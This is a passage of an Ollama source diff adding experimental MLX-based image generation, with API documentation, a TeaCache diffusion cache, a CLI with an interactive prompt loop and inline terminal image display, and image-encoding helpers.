-# Qwen-Image Edit (experimental) - 8 steps for speed, but model recommends 50
-./engine -qwen-image-edit -model ./weights/Qwen-Image-Edit-2511 \
-  -input-image input.png -prompt "Make it winter" -negative-prompt " " -cfg-scale 4.0 \
-  -steps 8 -seed 42 -output edited.png
+# Stop the model
+ollama stop z-image
 ```
 
-## Memory Management
+## API
 
-MLX Python/C++ uses scope-based memory management - arrays are freed when they go out of scope. Go's garbage collector is non-deterministic, so we can't rely on finalizers to free GPU memory promptly.
+### OpenAI-Compatible Endpoint
 
-Instead, arrays are automatically tracked and freed on `Eval()`:
-
-```go
-// All arrays are automatically tracked when created
-x := mlx.Add(a, b)
-y := mlx.Matmul(x, w)
-
-// Eval frees non-kept arrays, evaluates outputs (auto-kept)
-mlx.Eval(y)
-
-// After copying to CPU, free the array
-data := y.Data()
-y.Free()
+```bash
+POST /v1/images/generations
 ```
 
-Key points:
+**Request:**
+```json
+{
+  "model": "z-image",
+  "prompt": "a sunset over mountains",
+  "size": "1024x1024",
+  "response_format": "b64_json"
+}
+```
+
+**Response:**
+```json
+{
+  "created": 1704067200,
+  "data": [
+    {
+      "b64_json": "iVBORw0KGgo..."
+    }
+  ]
+}
+```
+
+### Example: cURL
+
+```bash
+curl http://localhost:11434/v1/images/generations \
+  -H "Content-Type: application/json" \
+  -d '{
+    "model": "z-image",
+    "prompt": "a white cat",
+    "size": "1024x1024"
+  }'
+```
+
+### Example: Save to File
+
+```bash
+curl -s http://localhost:11434/v1/images/generations \
+  -H "Content-Type: application/json" \
+  -d '{
+    "model": "z-image",
+    "prompt": "a white cat",
+    "size": "1024x1024"
+  }' | jq -r '.data[0].b64_json' | base64 -d > image.png
+```
+
+### Streaming Progress
+
+Enable streaming to receive progress updates via SSE:
+
+```bash
+curl http://localhost:11434/v1/images/generations \
+  -H "Content-Type: application/json" \
+  -d '{"model": "z-image", "prompt": "a sunset", "stream": true}'
+```
+
+Events:
+```
+event: progress
+data: {"step": 1, "total": 30}
+
+event: progress
+data: {"step": 2, "total": 30}
+...
+
+event: done
+data: {"created": 1704067200, "data": [{"b64_json": "..."}]}
+```
+
+## Parameters
+
+| Parameter | Type | Default | Description |
+|-----------|------|---------|-------------|
+| model | string | required | Model name |
+| prompt | string | required | Text description of image |
+| size | string | "1024x1024" | Image dimensions (WxH) |
+| n | int | 1 | Number of images (currently only 1 supported) |
+| response_format | string | "b64_json" | "b64_json" or "url" |
+| stream | bool | false | Enable progress streaming |
+
+## Requirements
+
+- macOS with Apple Silicon (M1/M2/M3/M4)
+- CUDA: tested on CUDA 12 Blackwell, more testing coming soon
+- Sufficient VRAM (see model table above)
+- Ollama built with MLX support
+
+## Limitations
+
+- macOS only (uses MLX backend)
+- Single image per request
+- Fixed step count (30 steps)
+- Modelfiles not yet supported (use `ollama create` from model directory)
+
+---
+
+# Tensor Model Storage Format
+
+Tensor models store each tensor as a separate blob with metadata in the manifest. This enables faster downloads (parallel fetching) and deduplication (shared tensors are stored once).
+
+## Manifest Structure
+
+The manifest follows the standard ollama format with tensor-specific layer metadata:
+
+```json
+{
+  "schemaVersion": 2,
+  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
+  "config": { "digest": "sha256:...", "size": 1234 },
+  "layers": [
+    {
+      "mediaType": "application/vnd.ollama.image.tensor",
+      "digest": "sha256:25b36eed...",
+      "size": 49807448,
+      "name": "text_encoder/model.layers.0.mlp.down_proj.weight",
+      "dtype": "BF16",
+      "shape": [2560, 9728]
+    },
+    {
+      "mediaType": "application/vnd.ollama.image.json",
+      "digest": "sha256:abc123...",
+      "size": 512,
+      "name": "text_encoder/config.json"
+    }
+  ]
+}
+```
+
+Each tensor layer includes:
+- `name`: Path-style tensor name (e.g., `text_encoder/model.layers.0.mlp.down_proj.weight`)
+- `dtype`: Data type (BF16, F32, etc.)
+- `shape`: Tensor dimensions
+
+Config layers use the same path-style naming (e.g., `tokenizer/tokenizer.json`).
+
+## Blob Format
+
+Each tensor blob is a minimal safetensors file:
+
+```
+[8 bytes: header size (uint64 LE)]
+[~80 bytes: JSON header, padded to 8-byte alignment]
+[N bytes: raw tensor data]
+```
+
+Header contains a single tensor named `"data"`:
+
+```json
+{"data":{"dtype":"BF16","shape":[2560,9728],"data_offsets":[0,49807360]}}
+```
+
+## Why Include the Header?
+
+The ~88 byte safetensors header enables MLX's native `mlx_load_safetensors` function, which:
+
+1. **Uses mmap** - Maps file directly into memory, no copies
+2. **Zero-copy to GPU** - MLX reads directly from mapped pages
+3. **No custom code** - Standard MLX API, battle-tested
+
+Without the header, we'd need custom C++ code to create MLX arrays from raw mmap'd data. MLX's public API doesn't expose this - it always copies when creating arrays from external pointers.
+
+The overhead is negligible: 88 bytes per tensor = ~100KB total for a 13GB model (0.0007%).
+
+## Why Per-Tensor Blobs?
+
+**Deduplication**: Blobs are content-addressed by SHA256. If two models share identical tensors (same weights, dtype, shape), they share the same blob file.
+
+Example: Model A and Model B both use the same text encoder. The text encoder's 400 tensors are stored once, referenced by both manifests.
+
+```
+~/.ollama/models/
+  blobs/
+    sha256-25b36eed...  <- shared by both models
+    sha256-abc123...
+  manifests/
+    library/model-a/latest  <- references sha256-25b36eed
+    library/model-b/latest  <- references sha256-25b36eed
+```
+
+## Import Flow
+
+```
+cd ./weights/Z-Image-Turbo
+ollama create z-image
+
+1. Scan component directories (text_encoder/, transformer/, vae/)
+2. For each .safetensors file:
+   - Extract individual tensors
+   - Wrap each in minimal safetensors format (88B header + data)
+   - Write to blob store (SHA256 content-addressed)
+   - Add layer entry to manifest with path-style name
+3. Copy config files (*.json) as config layers
+4. Write manifest
+```
+
+## FP8 Quantization
+
+Z-Image supports FP8 quantization to reduce memory usage by ~50% while maintaining image quality.
+
+### Usage
+
+```bash
+cd ./weights/Z-Image-Turbo
+ollama create z-image-fp8 --quantize fp8
+```
+
+This quantizes weights during import. The resulting model will be ~15GB instead of ~31GB.
 
-- All created arrays are automatically tracked
-- `mlx.Eval(outputs...)` frees non-kept arrays, evaluates outputs (outputs auto-kept)
-- `mlx.Keep(arrays...)` marks arrays to survive multiple Eval cycles (for weights, caches)
-- Call `.Free()` when done with an array

x/imagegen/cache/teacache.go

@@ -0,0 +1,197 @@
+//go:build mlx
+
+// Package cache provides caching mechanisms for diffusion model inference.
+package cache
+
+import (
+	"github.com/ollama/ollama/x/imagegen/mlx"
+)
+
+// TeaCache implements Timestep Embedding Aware Caching for diffusion models.
+// It caches the transformer output and reuses it when timestep values
+// are similar between consecutive steps.
+//
+// For CFG (classifier-free guidance), it caches pos and neg predictions
+// separately and always computes CFG fresh to avoid error amplification.
+//
+// Reference: "Timestep Embedding Tells: It's Time to Cache for Video Diffusion Model"
+// https://github.com/ali-vilab/TeaCache
+type TeaCache struct {
+	// Cached transformer output from last computed step (non-CFG mode)
+	cachedOutput *mlx.Array
+
+	// Cached CFG outputs (pos and neg separately)
+	cachedPosOutput *mlx.Array
+	cachedNegOutput *mlx.Array
+
+	// Previous timestep value for difference calculation
+	prevTimestep float32
+
+	// Accumulated difference for rescaling
+	accumulatedDiff float32
+
+	// Configuration
+	threshold      float32 // Threshold for recomputation decision
+	rescaleFactor  float32 // Model-specific rescaling factor
+	skipEarlySteps int     // Number of early steps to never cache
+
+	// Statistics
+	cacheHits   int
+	cacheMisses int
+}
+
+// TeaCacheConfig holds configuration for TeaCache.
+type TeaCacheConfig struct {
+	// Threshold for recomputation. Lower = more cache hits, potential quality loss.
+	// Recommended: 0.05-0.15 for image models
+	Threshold float32
+
+	// Rescale factor to adjust timestep embedding differences.
+	// Model-specific, typically 1.0-2.0
+	RescaleFactor float32
+
+	// SkipEarlySteps: number of early steps to always compute (never cache).
+	// Set to 2-3 for CFG mode to preserve structure. 0 = no skipping.
+	SkipEarlySteps int
+}
+
+// DefaultTeaCacheConfig returns default configuration for TeaCache.
+func DefaultTeaCacheConfig() *TeaCacheConfig {
+	return &TeaCacheConfig{
+		Threshold:     0.1,
+		RescaleFactor: 1.0,
+	}
+}
+
+// NewTeaCache creates a new TeaCache instance.
+func NewTeaCache(cfg *TeaCacheConfig) *TeaCache {
+	if cfg == nil {
+		cfg = DefaultTeaCacheConfig()
+	}
+	return &TeaCache{
+		threshold:      cfg.Threshold,
+		rescaleFactor:  cfg.RescaleFactor,
+		skipEarlySteps: cfg.SkipEarlySteps,
+	}
+}
+
+// ShouldCompute determines if we should compute the full forward pass
+// or reuse the cached output based on timestep similarity.
+//
+// Algorithm:
+// 1. First step always computes
+// 2. Subsequent steps compare |currTimestep - prevTimestep| * rescaleFactor
+// 3. If accumulated difference > threshold, compute new output
+// 4. Otherwise, reuse cached output
+func (tc *TeaCache) ShouldCompute(step int, timestep float32) bool {
+	// Always compute early steps (critical for structure)
+	// Check both regular cache and CFG cache
+	hasCachedOutput := tc.cachedOutput != nil || tc.HasCFGCache()
+	if step < tc.skipEarlySteps || step == 0 || !hasCachedOutput {
+		return true
+	}
+
+	// Compute absolute difference between current and previous timestep
+	diff := timestep - tc.prevTimestep
+	if diff < 0 {
+		diff = -diff
+	}
+
+	// Apply rescaling factor
+	scaledDiff := diff * tc.rescaleFactor
+
+	// Accumulate difference (helps track drift over multiple cached steps)
+	tc.accumulatedDiff += scaledDiff
+
+	// Decision based on accumulated difference
+	if tc.accumulatedDiff > tc.threshold {
+		tc.accumulatedDiff = 0 // Reset accumulator
+		return true
+	}
+
+	return false
+}
+
+// UpdateCache stores the computed output for potential reuse (non-CFG mode).
+func (tc *TeaCache) UpdateCache(output *mlx.Array, timestep float32) {
+	// Free previous cached output
+	if tc.cachedOutput != nil {
+		tc.cachedOutput.Free()
+	}
+
+	// Store new cached values
+	tc.cachedOutput = output
+	tc.prevTimestep = timestep
+	tc.cacheMisses++
+}
+
+// UpdateCFGCache stores pos and neg outputs separately for CFG mode.
+// This allows CFG to be computed fresh each step, avoiding error amplification.
+func (tc *TeaCache) UpdateCFGCache(posOutput, negOutput *mlx.Array, timestep float32) {
+	// Free previous cached outputs
+	if tc.cachedPosOutput != nil {
+		tc.cachedPosOutput.Free()
+	}
+	if tc.cachedNegOutput != nil {
+		tc.cachedNegOutput.Free()
+	}
+
+	// Store new cached values
+	tc.cachedPosOutput = posOutput
+	tc.cachedNegOutput = negOutput
+	tc.prevTimestep = timestep
+	tc.cacheMisses++
+}
+
+// GetCached returns the cached output (non-CFG mode).
+func (tc *TeaCache) GetCached() *mlx.Array {
+	tc.cacheHits++
+	return tc.cachedOutput
+}
+
+// GetCFGCached returns cached pos and neg outputs for CFG mode.
+func (tc *TeaCache) GetCFGCached() (pos, neg *mlx.Array) {
+	tc.cacheHits++
+	return tc.cachedPosOutput, tc.cachedNegOutput
+}
+
+// HasCFGCache returns true if CFG cache is available.
+func (tc *TeaCache) HasCFGCache() bool {
+	return tc.cachedPosOutput != nil && tc.cachedNegOutput != nil
+}
+
+// Arrays returns all arrays that should be kept alive.
+func (tc *TeaCache) Arrays() []*mlx.Array {
+	var arrays []*mlx.Array
+	if tc.cachedOutput != nil {
+		arrays = append(arrays, tc.cachedOutput)
+	}
+	if tc.cachedPosOutput != nil {
+		arrays = append(arrays, tc.cachedPosOutput)
+	}
+	if tc.cachedNegOutput != nil {
+		arrays = append(arrays, tc.cachedNegOutput)
+	}
+	return arrays
+}
+
+// Stats returns cache hit/miss statistics.
+func (tc *TeaCache) Stats() (hits, misses int) {
+	return tc.cacheHits, tc.cacheMisses
+}
+
+// Free releases all cached arrays.
+func (tc *TeaCache) Free() {
+	if tc.cachedOutput != nil {
+		tc.cachedOutput.Free()
+		tc.cachedOutput = nil
+	}
+	if tc.cachedPosOutput != nil {
+		tc.cachedPosOutput.Free()
+		tc.cachedPosOutput = nil
+	}
+	if tc.cachedNegOutput != nil {
+		tc.cachedNegOutput.Free()
+		tc.cachedNegOutput = nil
+	}
+}

x/imagegen/cli.go

@@ -0,0 +1,450 @@
+// cli.go provides CLI commands for image generation models.
+//
+// TODO (jmorganca): Integrate these commands into cmd/cmd.go when stable.
+// Currently these are separate to keep experimental code isolated.
+
+package imagegen
+
+import (
+	"encoding/base64"
+	"errors"
+	"fmt"
+	"io"
+	"os"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/ollama/ollama/api"
+	"github.com/ollama/ollama/envconfig"
+	"github.com/ollama/ollama/progress"
+	"github.com/ollama/ollama/readline"
+)
+
+// ImageGenOptions holds options for image generation.
+// These can be set via environment variables or interactive commands.
+type ImageGenOptions struct {
+	Width          int
+	Height         int
+	Steps          int
+	Seed           int
+	NegativePrompt string
+}
+
+// DefaultOptions returns the default image generation options.
+func DefaultOptions() ImageGenOptions {
+	return ImageGenOptions{
+		Width:  1024,
+		Height: 1024,
+		Steps:  0, // 0 means model default
+		Seed:   0, // 0 means random
+	}
+}
+
+// RegisterFlags adds image generation flags to the given command.
+// Flags are hidden since they only apply to image generation models.
+func RegisterFlags(cmd *cobra.Command) {
+	cmd.Flags().Int("width", 1024, "Image width")
+	cmd.Flags().Int("height", 1024, "Image height")
+	cmd.Flags().Int("steps", 0, "Denoising steps (0 = model default)")
+	cmd.Flags().Int("seed", 0, "Random seed (0 for random)")
+	cmd.Flags().String("negative", "", "Negative prompt")
+	cmd.Flags().MarkHidden("width")
+	cmd.Flags().MarkHidden("height")
+	cmd.Flags().MarkHidden("steps")
+	cmd.Flags().MarkHidden("seed")
+	cmd.Flags().MarkHidden("negative")
+}
+
+// RunCLI handles the CLI for image generation models.
+// Returns true if it handled the request, false if the caller should continue with normal flow.
+// Supports flags: --width, --height, --steps, --seed, --negative
+func RunCLI(cmd *cobra.Command, name string, prompt string, interactive bool, keepAlive *api.Duration) error {
+	// Get options from flags (with env var defaults)
+	opts := DefaultOptions()
+	if cmd != nil && cmd.Flags() != nil {
+		if v, err := cmd.Flags().GetInt("width"); err == nil && v > 0 {
+			opts.Width = v
+		}
+		if v, err := cmd.Flags().GetInt("height"); err == nil && v > 0 {
+			opts.Height = v
+		}
+		if v, err := cmd.Flags().GetInt("steps"); err == nil && v > 0 {
+			opts.Steps = v
+		}
+		if v, err := cmd.Flags().GetInt("seed"); err == nil && v != 0 {
+			opts.Seed = v
+		}
+		if v, err := cmd.Flags().GetString("negative"); err == nil && v != "" {
+			opts.NegativePrompt = v
+		}
+	}
+
+	if interactive {
+		return runInteractive(cmd, name, keepAlive, opts)
+	}
+
+	// One-shot generation
+	return generateImageWithOptions(cmd, name, prompt, keepAlive, opts)
+}
+
+// generateImageWithOptions generates an image with the given options.
+func generateImageWithOptions(cmd *cobra.Command, modelName, prompt string, keepAlive *api.Duration, opts ImageGenOptions) error {
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return err
+	}
+
+	req := &api.GenerateRequest{
+		Model:  modelName,
+		Prompt: prompt,
+		Width:  int32(opts.Width),
+		Height: int32(opts.Height),
+		Steps:  int32(opts.Steps),
+	}
+	if keepAlive != nil {
+		req.KeepAlive = keepAlive
+	}
+
+	// Show loading spinner until generation starts
+	p := progress.NewProgress(os.Stderr)
+	spinner := progress.NewSpinner("")
+	p.Add("", spinner)
+
+	var stepBar *progress.StepBar
+	var imageBase64 string
+	err = client.XGenerate(cmd.Context(), req, func(resp api.GenerateResponse) error {
+		// Handle progress updates using structured fields
+		if resp.Total > 0 && resp.Completed > 0 {
+			if stepBar == nil {
+				spinner.Stop()
+				stepBar = progress.NewStepBar("Generating", int(resp.Total))
+				p.Add("", stepBar)
+			}
+			stepBar.Set(int(resp.Completed))
+		}
+
+		// Handle final response with image data
+		if resp.Done && len(resp.Images) > 0 {
+			imageBase64 = resp.Images[0]
+		}
+
+		return nil
+	})
+
+	p.Stop()
+	if err != nil {
+		return err
+	}
+
+	if imageBase64 != "" {
+		// Decode base64 and save to CWD
+		imageData, err := base64.StdEncoding.DecodeString(imageBase64)
+		if err != nil {
+			return fmt.Errorf("failed to decode image: %w", err)
+		}
+
+		// Create filename from prompt
+		safeName := sanitizeFilename(prompt)
+		if len(safeName) > 50 {
+			safeName = safeName[:50]
+		}
+		timestamp := time.Now().Format("20060102-150405")
+		filename := fmt.Sprintf("%s-%s.png", safeName, timestamp)
+
+		if err := os.WriteFile(filename, imageData, 0o644); err != nil {
+			return fmt.Errorf("failed to save image: %w", err)
+		}
+
+		displayImageInTerminal(filename)
+		fmt.Printf("Image saved to: %s\n", filename)
+	}
+
+	return nil
+}
+
+// runInteractive runs an interactive REPL for image generation.
+func runInteractive(cmd *cobra.Command, modelName string, keepAlive *api.Duration, opts ImageGenOptions) error {
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return err
+	}
+
+	scanner, err := readline.New(readline.Prompt{
+		Prompt:      ">>> ",
+		Placeholder: "Describe an image to generate (/help for commands)",
+	})
+	if err != nil {
+		return err
+	}
+
+	if envconfig.NoHistory() {
+		scanner.HistoryDisable()
+	}
+
+	for {
+		line, err := scanner.Readline()
+		switch {
+		case errors.Is(err, io.EOF):
+			fmt.Println()
+			return nil
+		case errors.Is(err, readline.ErrInterrupt):
+			if line == "" {
+				fmt.Println("\nUse Ctrl + d or /bye to exit.")
+			}
+			continue
+		case err != nil:
+			return err
+		}
+
+		line = strings.TrimSpace(line)
+		if line == "" {
+			continue
+		}
+
+		// Handle commands
+		switch {
+		case strings.HasPrefix(line, "/bye"):
+			return nil
+		case strings.HasPrefix(line, "/?"), strings.HasPrefix(line, "/help"):
+			printInteractiveHelp(opts)
+			continue
+		case strings.HasPrefix(line, "/set "):
+			if err := handleSetCommand(line[5:], &opts); err != nil {
+				fmt.Fprintf(os.Stderr, "Error: %v\n", err)
+			}
+			continue
+		case strings.HasPrefix(line, "/show"):
+			printCurrentSettings(opts)
+			continue
+		case strings.HasPrefix(line, "/"):
+			fmt.Fprintf(os.Stderr, "Unknown command: %s (try /help)\n", line)
+			continue
+		}
+
+		// Generate image with current options
+		req := &api.GenerateRequest{
+			Model:  modelName,
+			Prompt: line,
+			Width:  int32(opts.Width),
+			Height: int32(opts.Height),
+			Steps:  int32(opts.Steps),
+		}
+		if keepAlive != nil {
+			req.KeepAlive = keepAlive
+		}
+
+		// Show loading spinner until generation starts
+		p := progress.NewProgress(os.Stderr)
+		spinner := progress.NewSpinner("")
+		p.Add("", spinner)
+
+		var stepBar *progress.StepBar
+		var imageBase64 string
+
+		err = client.XGenerate(cmd.Context(), req, func(resp api.GenerateResponse) error {
+			// Handle progress updates using structured fields
+			if resp.Total > 0 && resp.Completed > 0 {
+				if stepBar == nil {
+					spinner.Stop()
+					stepBar = progress.NewStepBar("Generating", int(resp.Total))
+					p.Add("", stepBar)
+				}
+				stepBar.Set(int(resp.Completed))
+			}
+
+			// Handle final response with image data
+			if resp.Done && len(resp.Images) > 0 {
+				imageBase64 = resp.Images[0]
+			}
+
+			return nil
+		})
+
+		p.Stop()
+		if err != nil {
+			fmt.Fprintf(os.Stderr, "Error: %v\n", err)
+			continue
+		}
+
+		// Save image to current directory with descriptive name
+		if imageBase64 != "" {
+			// Decode base64 image data
+			imageData, err := base64.StdEncoding.DecodeString(imageBase64)
+			if err != nil {
+				fmt.Fprintf(os.Stderr, "Error decoding image: %v\n", err)
+				continue
+			}
+
+			// Create filename from prompt (sanitized)
+			safeName := sanitizeFilename(line)
+			if len(safeName) > 50 {
+				safeName = safeName[:50]
+			}
+			timestamp := time.Now().Format("20060102-150405")
+			filename := fmt.Sprintf("%s-%s.png", safeName, timestamp)
+
+			if err := os.WriteFile(filename, imageData, 0o644); err != nil {
+				fmt.Fprintf(os.Stderr, "Error saving image: %v\n", err)
+				continue
+			}
+
+			displayImageInTerminal(filename)
+			fmt.Printf("Image saved to: %s\n", filename)
+		}
+
+		fmt.Println()
+	}
+}
+
+// sanitizeFilename removes characters that aren't safe for filenames.
+func sanitizeFilename(s string) string {
+	s = strings.ToLower(s)
+	s = strings.ReplaceAll(s, " ", "-")
+	// Remove any character that's not alphanumeric or hyphen
+	var result strings.Builder
+	for _, r := range s {
+		if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '-' {
+			result.WriteRune(r)
+		}
+	}
+	return result.String()
+}
+
+// printInteractiveHelp prints help for interactive mode commands.
+func printInteractiveHelp(opts ImageGenOptions) {
+	fmt.Fprintln(os.Stderr, "Commands:")
+	fmt.Fprintln(os.Stderr, "  /set width <n>     Set image width (current:", opts.Width, ")")
+	fmt.Fprintln(os.Stderr, "  /set height <n>    Set image height (current:", opts.Height, ")")
+	fmt.Fprintln(os.Stderr, "  /set steps <n>     Set denoising steps (current:", opts.Steps, ")")
+	fmt.Fprintln(os.Stderr, "  /set seed <n>      Set random seed (current:", opts.Seed, ", 0=random)")
+	fmt.Fprintln(os.Stderr, "  /set negative <s>  Set negative prompt")
+	fmt.Fprintln(os.Stderr, "  /show              Show current settings")
+	fmt.Fprintln(os.Stderr, "  /bye               Exit")
+	fmt.Fprintln(os.Stderr)
+	fmt.Fprintln(os.Stderr, "Or type a prompt to generate an image.")
+	fmt.Fprintln(os.Stderr)
+}
+
+// printCurrentSettings prints the current image generation settings.
+func printCurrentSettings(opts ImageGenOptions) {
+	fmt.Fprintf(os.Stderr, "Current settings:\n")
+	fmt.Fprintf(os.Stderr, "  width:    %d\n", opts.Width)
+	fmt.Fprintf(os.Stderr, "  height:   %d\n", opts.Height)
+	fmt.Fprintf(os.Stderr, "  steps:    %d\n", opts.Steps)
+	fmt.Fprintf(os.Stderr, "  seed:     %d (0=random)\n", opts.Seed)
+	if opts.NegativePrompt != "" {
+		fmt.Fprintf(os.Stderr, "  negative: %s\n", opts.NegativePrompt)
+	}
+	fmt.Fprintln(os.Stderr)
+}
+
+// handleSetCommand handles /set commands to change options.
+func handleSetCommand(args string, opts *ImageGenOptions) error {
+	parts := strings.SplitN(args, " ", 2)
+	if len(parts) < 2 {
+		return fmt.Errorf("usage: /set <option> <value>")
+	}
+
+	key := strings.ToLower(parts[0])
+	value := strings.TrimSpace(parts[1])
+
+	switch key {
+	case "width", "w":
+		v, err := strconv.Atoi(value)
+		if err != nil || v <= 0 {
+			return fmt.Errorf("width must be a positive integer")
+		}
+		opts.Width = v
+		fmt.Fprintf(os.Stderr, "Set width to %d\n", v)
+	case "height", "h":
+		v, err := strconv.Atoi(value)
+		if err != nil || v <= 0 {
+			return fmt.Errorf("height must be a positive integer")
+		}
+		opts.Height = v
+		fmt.Fprintf(os.Stderr, "Set height to %d\n", v)
+	case "steps", "s":
+		v, err := strconv.Atoi(value)
+		if err != nil || v <= 0 {
+			return fmt.Errorf("steps must be a positive integer")
+		}
+		opts.Steps = v
+		fmt.Fprintf(os.Stderr, "Set steps to %d\n", v)
+	case "seed":
+		v, err := strconv.Atoi(value)
+		if err != nil {
+			return fmt.Errorf("seed must be an integer")
+		}
+		opts.Seed = v
+		fmt.Fprintf(os.Stderr, "Set seed to %d\n", v)
+	case "negative", "neg", "n":
+		opts.NegativePrompt = value
+		if value == "" {
+			fmt.Fprintln(os.Stderr, "Cleared negative prompt")
+		} else {
+			fmt.Fprintf(os.Stderr, "Set negative prompt to: %s\n", value)
+		}
+	default:
+		return fmt.Errorf("unknown option: %s (try /help)", key)
+	}
+	return nil
+}
+
+// displayImageInTerminal attempts to render an image inline in the terminal.
+// Supports iTerm2, Kitty, WezTerm, Ghostty, and other terminals with inline image support.
+// Returns true if the image was displayed, false otherwise.
+func displayImageInTerminal(imagePath string) bool {
+	// Check if terminal supports inline images
+	termProgram := os.Getenv("TERM_PROGRAM")
+	kittyWindowID := os.Getenv("KITTY_WINDOW_ID")
+	weztermPane := os.Getenv("WEZTERM_PANE")
+	ghostty := os.Getenv("GHOSTTY_RESOURCES_DIR")
+
+	// Read the image file
+	data, err := os.ReadFile(imagePath)
+	if err != nil {
+		return false
+	}
+
+	encoded := base64.StdEncoding.EncodeToString(data)
+
+	switch {
+	case termProgram == "iTerm.app" || termProgram == "WezTerm" || weztermPane != "":
+		// iTerm2/WezTerm inline image protocol
+		// ESC ] 1337 ; File = [arguments] : base64 BEL
+		fmt.Printf("\033]1337;File=inline=1;preserveAspectRatio=1:%s\a\n", encoded)
+		return true
+
+	case kittyWindowID != "" || ghostty != "" || termProgram == "ghostty":
+		// Kitty graphics protocol (also used by Ghostty)
+		// Send in chunks for large images
+		const chunkSize = 4096
+		for i := 0; i < len(encoded); i += chunkSize {
+			end := min(i+chunkSize, len(encoded))
+			chunk := encoded[i:end]
+
+			if i == 0 {
+				// First chunk: a=T (transmit), f=100 (PNG), m=1 (more chunks follow) or m=0 (last chunk)
+				more := 1
+				if end >= len(encoded) {
+					more = 0
+				}
+				fmt.Printf("\033_Ga=T,f=100,m=%d;%s\033\\", more, chunk)
+			} else if end >= len(encoded) {
+				// Last chunk
+				fmt.Printf("\033_Gm=0;%s\033\\", chunk)
+			} else {
+				// Middle chunk
+				fmt.Printf("\033_Gm=1;%s\033\\", chunk)
+			}
+		}
+		fmt.Println()
+		return true
+
+	default:
+		return false
+	}
+}

x/imagegen/cmd/engine/README.md

@@ -0,0 +1,35 @@
+# MLX Engine
+
+Experimental MLX backend for running models on Apple Silicon and CUDA.
+
+## Build
+
+```bash
+go build -tags mlx -o engine ./x/imagegen/cmd/engine
+```
+
+## Text Generation
+
+```bash
+./engine -model /path/to/model -prompt "Hello" -max-tokens 100
+```
+
+Options:
+
+- `-temperature` - sampling temperature (default 0.7)
+- `-top-p` - nucleus sampling (default 0.9)
+- `-top-k` - top-k sampling (default 40)
+
+Supports: Llama, Gemma3, GPT-OSS
+
+## Image Generation
+
+```bash
+./engine -zimage -model /path/to/z-image -prompt "a cat" -output cat.png
+```
+
+Options:
+
+- `-width`, `-height` - image dimensions (default 1024x1024)
+- `-steps` - denoising steps (default 9)
+- `-seed` - random seed (default 42)

x/imagegen/cmd/engine/main.go

@@ -12,6 +12,7 @@ import (
 	"path/filepath"
 	"runtime/pprof"
 
+	"github.com/ollama/ollama/x/imagegen"
 	"github.com/ollama/ollama/x/imagegen/mlx"
 	"github.com/ollama/ollama/x/imagegen/models/gemma3"
 	"github.com/ollama/ollama/x/imagegen/models/gpt_oss"
@@ -48,7 +49,7 @@ func main() {
 	// Image generation params
 	width := flag.Int("width", 1024, "Image width")
 	height := flag.Int("height", 1024, "Image height")
-	steps := flag.Int("steps", 9, "Denoising steps")
+	steps := flag.Int("steps", 0, "Denoising steps (0 = model default)")
 	seed := flag.Int64("seed", 42, "Random seed")
 	out := flag.String("output", "output.png", "Output path")
 
@@ -67,6 +68,9 @@ func main() {
 	flag.Var(&inputImages, "input-image", "Input image for image editing (can be specified multiple times)")
 	negativePrompt := flag.String("negative-prompt", "", "Negative prompt for CFG (empty = no CFG, matching Python)")
 	cfgScale := flag.Float64("cfg-scale", 4.0, "CFG scale for image editing")
+	teaCache := flag.Bool("teacache", false, "Enable TeaCache for faster inference")
+	teaCacheThreshold := flag.Float64("teacache-threshold", 0.1, "TeaCache threshold (lower = more aggressive caching)")
+	fusedQKV := flag.Bool("fused-qkv", false, "Enable fused QKV projection for faster attention")
 
 	flag.Parse()
 
@@ -98,14 +102,18 @@ func main() {
 			log.Fatal(loadErr)
 		}
 		var img *mlx.Array
-		img, err = m.GenerateFromConfig(&zimage.GenerateConfig{
-			Prompt:      *prompt,
-			Width:       int32(*width),
-			Height:      int32(*height),
-			Steps:       *steps,
-			Seed:        *seed,
-			CapturePath: *gpuCapture,
-			LayerCache:  *layerCache,
+		img, err = m.GenerateFromConfig(context.Background(), &zimage.GenerateConfig{
+			Prompt:            *prompt,
+			NegativePrompt:    *negativePrompt,
+			CFGScale:          float32(*cfgScale),
+			Width:             int32(*width),
+			Height:            int32(*height),
+			Steps:             *steps,
+			Seed:              *seed,
+			CapturePath:       *gpuCapture,
+			TeaCache:          *teaCache,
+			TeaCacheThreshold: float32(*teaCacheThreshold),
+			FusedQKV:          *fusedQKV,
 		})
 		if err == nil {
 			err = saveImageArray(img, *out)

x/imagegen/image.go

@@ -0,0 +1,110 @@
+//go:build mlx
+
+package imagegen
+
+import (
+	"bytes"
+	"encoding/base64"
+	"fmt"
+	"image"
+	"image/png"
+	"os"
+	"path/filepath"
+
+	"github.com/ollama/ollama/x/imagegen/mlx"
+)
+
+// SaveImage saves an MLX array as a PNG image file.
+// Expected format: [B, C, H, W] with values in [0, 1] range and C=3 (RGB).
+func SaveImage(arr *mlx.Array, path string) error {
+	img, err := ArrayToImage(arr)
+	if err != nil {
+		return err
+	}
+
+	if filepath.Ext(path) != ".png" {
+		path = path + ".png"
+	}
+
+	f, err := os.Create(path)
+	if err != nil {
+		return err
+	}
+	defer f.Close()
+
+	return png.Encode(f, img)
+}
+
+// EncodeImageBase64 encodes an MLX array as a base64-encoded PNG.
+// Expected format: [B, C, H, W] with values in [0, 1] range and C=3 (RGB).
+func EncodeImageBase64(arr *mlx.Array) (string, error) {
+	img, err := ArrayToImage(arr)
+	if err != nil {
+		return "", err
+	}
+
+	var buf bytes.Buffer
+	if err := png.Encode(&buf, img); err != nil {
+		return "", err
+	}
+
+	return base64.StdEncoding.EncodeToString(buf.Bytes()), nil
+}
+
+// ArrayToImage converts an MLX array to a Go image.RGBA.
+// Expected format: [B, C, H, W] with values in [0, 1] range and C=3 (RGB).
+func ArrayToImage(arr *mlx.Array) (*image.RGBA, error) {
+	shape := arr.Shape()
+	if len(shape) != 4 {
+		return nil, fmt.Errorf("expected 4D array [B, C, H, W], got %v", shape)
+	}
+
+	// Transform to [H, W, C] for image conversion
+	// Free intermediate arrays to avoid memory leak
+	squeezed := mlx.Squeeze(arr, 0)
+	transposed := mlx.Transpose(squeezed, 1, 2, 0)
+	squeezed.Free()
+	img := mlx.Contiguous(transposed)
+	transposed.Free()
+	mlx.Eval(img)
+
+	imgShape := img.Shape()
+	H := int(imgShape[0])
+	W := int(imgShape[1])
